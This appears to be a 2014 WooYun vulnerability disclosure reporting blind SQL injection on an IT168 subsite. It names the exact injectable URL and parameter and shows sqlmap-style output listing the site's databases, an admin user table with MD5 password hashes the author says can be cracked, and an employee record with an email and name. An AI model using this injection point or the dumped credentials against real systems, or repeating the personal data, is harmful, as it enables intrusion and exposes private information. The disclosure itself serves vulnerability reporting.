当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-074056

漏洞标题:IT168分站盲注

相关厂商:IT168.com

漏洞作者: greg.wu

提交时间:2014-08-27 15:11

修复时间:2014-09-01 15:12

公开时间:2014-09-01 15:12

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-27: 细节已通知厂商并且等待厂商处理中
2014-09-01: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

盲注

详细说明:

注入点:
http://topic.it168.com/game/snapdragon1211/getdata.ashx?jsoncallback=?&articleTypeId=1
测试

11.JPG


22.JPG

漏洞证明:

目测数据不少
web server operating system: Windows 2008
web application technology: Microsoft IIS 7.5, ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2012
[11:04:52] [INFO] fetching database names
[11:04:52] [INFO] fetching number of databases
available databases [13]:
[*] CMS2007
[*] cms_back
[*] CMS_Master
[*] cmsdb
[*] master
[*] model
[*] msdb
[*] PageStatic
[*] ReportServer
[*] ReportServerTempDB
[*] SeoDb
[*] tempdb
[*] TRC
跑些有密码的表
Database: cmsdb
Table: cms_User
[6 entries]
+--------+---------------+----------+----------+-------------------------------------------------+----------------+
| UserId | UserName | TrueName | UserType | Password | DefaultChannel |
+--------+---------------+----------+----------+-------------------------------------------------+----------------+
| 1 | Administrator | NULL | 1 | 70-6B-86-40-B9-FE-B3-3C-7F-41-16-60-D0-7D-F1-62 | 2 |
| 10 | tech05 | NULL | 2 | 97-10-EC-A1-C5-06-98-E8-1F-79-38-E2-F2-52-2E-83 | NULL |
| 100 | IT168存储频道 | NULL | 1 | 70-6B-86-40-B9-FE-B3-3C-7F-41-16-60-D0-7D-F1-62 | 253 |
| 101 | techtest | NULL | 1 | 35-A6-C9-55-DE-38-7C-17-C9-C0-B1-18-6C-17-B6-2F | 2 |
| 102 | cunchutest | NULL | 1 | 94-4E-0D-4C-E5-65-D4-C0-CC-10-93-35-24-17-0D-35 | 253 |
| 103 | xinxihuatest | NULL | 1 | 81-7A-FA-F5-DF-4D-5B-14-7F-85-B9-56-82-16-D0-82 | 254 |
+--------+---------------+----------+----------+-------------------------------------------------+----------------+
密码是md5 hash,亲测可以破解,就这样吧,还有几个库中有大量的员工数据:
----------------+--------------------+-------------+--------------+
| EmployeeId | Role | Password | LoginEmail | ModifyTime | CreateTime | IsAvailable | EmployeeName |
+------------+------+----------------------------------+-------------------+--------------------+--------------------+-------------+--------------+
| 1 | 4 | F59BD65F7EDAFB087A81D4DCA06C4910 | pepsi@pcpop.com | 03 4 2013 1:14PM | 07 16 2008 7:40PM | 0 | 洪琦 |
+------------+------+----------------------------------+-------------------+--------------------+--------------------+-------------+--------------+

修复方案:

。。

版权声明:转载请注明来源 greg.wu@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-09-01 15:12

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2014-09-01 16:00 | 菜鸟 ( 路人 | Rank:0 漏洞数:1 | 向各位大牛学习的菜鸟!)

    请问楼主你浏览器这个插件叫什么啊?

  2. 2014-09-01 16:26 | ihacku ( 普通白帽子 | Rank:100 漏洞数:33 | 同程旅游安全工程师。找大神带节奏,邮箱 s...)

    @菜鸟 hackbar

  3. 2014-09-01 17:23 | 菜鸟 ( 路人 | Rank:0 漏洞数:1 | 向各位大牛学习的菜鸟!)

    @ihacku 谢谢大牛

  4. 2014-09-01 17:26 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @菜鸟 火狐插件

  5. 2014-09-01 18:50 | 开水 ( 路人 | Rank:4 漏洞数:3 | 好好学习,天天向上.)

    危害等级:无影响厂商忽略

  6. 2014-09-02 12:11 | 啊L川 ( 普通白帽子 | Rank:195 漏洞数:39 | 菜鸟 ,菜渣, 菜呀!)

    无影响厂商忽略